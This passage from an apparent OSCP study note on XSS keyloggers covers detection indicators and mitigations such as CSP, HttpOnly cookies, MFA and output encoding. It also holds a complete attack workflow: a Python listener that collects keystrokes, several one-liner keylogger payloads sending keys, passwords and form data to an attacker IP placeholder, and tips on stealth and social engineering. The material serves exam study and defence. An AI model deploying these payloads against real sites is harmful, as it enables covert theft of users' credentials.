                if (value.indexOf('log') !== -1 || 
                    value.indexOf('key') !== -1 ||
                    value.indexOf('capture') !== -1) {
                    console.warn('Suspicious image src:', value);
                }
                this._src = value;
            },
            get: function() {
                return this._src;
            }
        });
        return img;
    };
    
    return warnings;
}

12.2 Network Monitoring Detection

Indicator Description
Repeated small GET requests Keyloggers often send one character per request
Requests to unknown domains Exfiltration endpoints
POST requests on page unload sendBeacon usage
Base64-encoded parameters Encrypted exfiltration
DNS queries to unusual subdomains DNS exfiltration

12.3 Manual Detection Steps

  1. Open DevTools → Network tab → Filter by JS/Fetch/XHR
  2. Look for repeated requests with small payloads
  3. Check the Sources tab for injected scripts
  4. Search for onkeypress, onkeydown, addEventListener in page source
  5. Monitor the Console for errors from blocked exfiltration attempts

13. Mitigation Strategies

13.1 Content Security Policy (CSP)

The most effective mitigation against XSS-based keylogging:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'
CSP Directive Protection
script-src 'self' Blocks inline scripts and external scripts from untrusted domains
object-src 'none' Blocks Flash, Java, and other plugins
base-uri 'self' Prevents base tag injection
form-action 'self' Restricts form submission targets

13.2 HttpOnly + Secure Cookies

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/
Flag Purpose
HttpOnly Prevents JavaScript access to cookies
Secure Only sent over HTTPS
SameSite=Strict Prevents CSRF attacks

Important: HttpOnly prevents cookie theft but does NOT prevent keylogging. Use both defenses together.

13.3 Multi-Factor Authentication (MFA)

Even if credentials are captured via keylogging, MFA provides an additional layer:

MFA Type Keylogging Resistance
TOTP (Time-based) High - requires time-synced code
SMS Medium - SIM swap risk
Hardware Token (YubiKey) Very High - cannot be phished
Push Notification High - user must approve
Biometric High - cannot be captured via keyboard

13.4 Password Manager Integration

Password managers can help mitigate keylogging:

  • Auto-fill bypasses keyboard input entirely
  • No keystrokes = nothing to capture
  • Generated passwords reduce reuse risk

13.5 Behavioral Monitoring

// Server-side: Monitor for unusual login patterns
// - Logins from new locations
// - Logins at unusual times
# - Multiple failed attempts followed by success
// - Rapid credential usage after capture

13.6 Input Sanitization and Encoding

// Proper output encoding prevents XSS in the first place
function htmlEncode(str) {
    var div = document.createElement('div');
    div.appendChild(document.createTextNode(str));
    return div.innerHTML;
}

// Usage
var userInput = '<script>alert(1)</script>';
document.getElementById('output').innerHTML = htmlEncode(userInput);
// Renders as: &lt;script&gt;alert(1)&lt;/script&gt;

14. OSCP Lab Scenarios

14.1 Typical OSCP Keylogging Scenario

Scenario: You have identified an XSS vulnerability in a web application.
The application uses HttpOnly cookies, so document.cookie returns empty.
You need to capture admin credentials to access the application.

Steps:
1. Set up a listener on your attack machine
2. Craft an XSS payload with a keylogger
3. Deliver the payload to the admin user
4. Wait for the admin to log in
5. Capture and decode the credentials
6. Use the credentials to access the application

14.2 Complete OSCP Workflow

# Step 1: Set up Python HTTP server to receive keylogs
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urlparse(self.path)
        params = parse_qs(parsed.query)
        if 'data' in params:
            with open('keylog.txt', 'a') as f:
                f.write(params['data'][0] + '\n')
            print(params['data'][0])
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
" &

# Step 2: Craft the XSS payload
# The payload will be injected into the vulnerable parameter

# Step 3: Host the payload on your server
echo '<script>document.onkeypress=function(e){new Image().src="http://<ATTACKER_IP>/log?key="+e.key};</script>' > payload.html

# Step 4: Serve the payload
python3 -m http.server 80

# Step 5: Monitor keylog.txt for captured credentials
tail -f keylog.txt

14.3 Buffered Keylogger for OSCP

// Optimized for OSCP labs - buffers keystrokes and sends periodically
var k='';
document.onkeypress=function(e){
    k+=e.key||String.fromCharCode(e.which);
    if(k.length>30){
        new Image().src='http://<ATTACKER_IP>/?d='+encodeURIComponent(k);
        k='';
    }
};
window.onbeforeunload=function(){
    if(k)new Image().src='http://<ATTACKER_IP>/?d='+encodeURIComponent(k);
};

14.4 One-Liner Payloads for OSCP

// Minimal keylogger (shortest possible)
document.onkeypress=function(e){new Image().src='http://<IP>/?k='+e.key}

// With buffering
var k='';document.onkeypress=function(e){k+=e.key;if(k.length>20){new Image().src='http://<IP>/?d='+k;k=''}}

// Password field only
document.onkeydown=function(e){if(e.target.type=='password')new Image().src='http://<IP>/?p='+e.key}

// Form submission capture
document.onsubmit=function(){new Image().src='http://<IP>/?f='+new FormData(document.querySelector('form'))}

15. OSCP Exam Tips

15.1 Key Points to Remember

Tip Description
Check HttpOnly first Try document.cookie — if empty, use keylogging
Buffer keystrokes Don’t send every key individually — buffer and batch
Use sendBeacon More reliable than Image tags, especially on page unload
Capture form submissions Most reliable method — captures final values
Set up proper listener Use Python to receive and log exfiltrated data
Decode URL encoding Captured data will be URL-encoded — decode it
Look for [ENTER] Use Enter key as a delimiter between fields
Try multiple techniques If one doesn’t work, try another

15.2 Common OSCP Vulnerable Apps

Application Keylogging Scenario
DVWA XSS vulnerabilities in various modules
bWAPP Multiple XSS injection points
Mutillidae Reflected and stored XSS
Juice Shop Modern web app with XSS challenges
Custom lab machines Often have admin portals with XSS

15.3 Reporting Keylogging Findings

When documenting keylogging in your OSCP report:

## Vulnerability: Cross-Site Scripting (XSS) Leading to Credential Theft

### Severity: High

### Description:
A reflected/stored XSS vulnerability was identified in the [parameter] parameter 
of [URL]. This vulnerability allows an attacker to inject arbitrary JavaScript 
code that executes in the context of the victim's browser session.

### Impact:
- Capture of user credentials via keylogging
- Session hijacking (if cookies are not HttpOnly)
- Defacement of the application
- Redirection to malicious sites

### Proof of Concept:
1. Inject the following payload: [payload]
2. When a victim visits the page, their keystrokes are captured
3. Captured data is exfiltrated to the attacker's server

### Remediation:
- Implement proper input validation and output encoding
- Deploy Content Security Policy (CSP) headers
- Use HttpOnly and Secure flags on all cookies
- Implement Multi-Factor Authentication (MFA)

15.4 Troubleshooting

Problem Solution
Keylogs not arriving Check firewall, verify IP, use nc -lvnp 80
Empty keylog file Verify XSS is executing, check browser console
Special characters garbled Use encodeURIComponent() properly
Page blocks exfiltration Try different exfiltration methods (XHR, beacon)
CSP blocks payload Look for CSP bypass techniques or stored XSS
Admin doesn’t log in Wait, or try to trigger login via social engineering

16. Summary Table

Keylogging Techniques Comparison

Technique Reliability Stealth Complexity Best For
Basic onkeypress Medium Low Low Quick credential capture
Buffered keylogger High Medium Low General purpose
Focus-aware High High Medium Reducing noise
Password-specific High High Medium Targeted credential theft
sendBeacon batch Very High Very High Medium Reliable exfiltration
DOM mutation High High High Bypassing event removal
Form submission Very High High Low Final credential capture
XHR/fetch intercept High Medium High API token capture

Defense Layers

Layer Control Effectiveness
Prevention CSP, Input Validation Very High
Protection HttpOnly + Secure Cookies High (for cookies)
Detection Network Monitoring, JS Auditing Medium
Recovery MFA, Password Reset High
Resilience Behavioral Monitoring Medium

17. References

  1. OSCP Course Materials — Chapter 08: Client-Side Attacks
  2. OWASP XSS Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  3. MDN Web Docs — KeyboardEvent — https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent
  4. MDN Web Docs — sendBeacon — https://developer.mozilla.org/en-US/docs/Web/API/Beacon_API
  5. MDN Web Docs — MutationObserver — https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver
  6. PortSwigger Web Security Academy — XSS — https://portswigger.net/web-security/cross-site-scripting
  7. Content Security Policy Reference — https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

This study note is designed for OSCP exam preparation. Always use these techniques only in authorized environments and lab machines.